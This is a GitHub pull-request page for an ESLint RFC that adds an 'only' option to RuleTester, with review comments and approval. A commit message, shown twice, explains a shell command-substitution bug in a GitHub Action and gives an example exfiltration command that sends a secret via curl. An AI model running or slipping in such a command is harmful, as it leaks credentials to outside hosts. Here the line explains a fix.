-
-
Notifications
You must be signed in to change notification settings - Fork 70
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
New: RuleTester test isolation with only #73
Conversation
only
RFC #73 originally included backticks around <code>`only`</code>. The automated tweet omitted "only" and its backticks. I realized that the `run` action command was using double quotes, so the backticks from the PR title were being interpreted by the shell as command substitution. Using single quotes disables any interpolation. Thankfully only contributors can trigger the automated tweet by labeling or merging an RFC, and we'd notice something like `curl example.com?secret=$SECRET`, so this isn't really a security issue.
RFC #73 originally included backticks around <code>`only`</code>. The automated tweet omitted "only" and its backticks. I realized that the `run` action command was using double quotes, so the backticks from the PR title were being interpreted by the shell as command substitution. Using single quotes disables any interpolation. Thankfully only contributors can trigger the automated tweet by labeling or merging an RFC, and we'd notice something like `curl example.com?secret=$SECRET`, so this isn't really a security issue.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pretty much what I had in mind, so 👍. Just a few points of clarification.
3a195d1
to
c3fda44
Compare
I've pushed a prototype implementation to the rfc73 branch. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good!
If that's still an open question, I'd vote to include the static RuleTester.only()
helper.
I think we are ready for final commenting on this. |
I just updated the RFC text based on the last round of feedback to include the |
Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so. |
Done :) #67 (comment) Thanks for working on this problem, everyone! |
Okay, we have approved this RFC. 🎉 |
Summary
RuleTester
currently lacks a built-in way for developers to isolate individual tests during development. Temporarily deleting or commenting out the other tests is tedious. This adds an optionalonly
property to run individual tests in isolation.Related Issues
This was suggested as an alternative solution to RFC67 and eslint/eslint#13625 because that change may not be possible as currently described.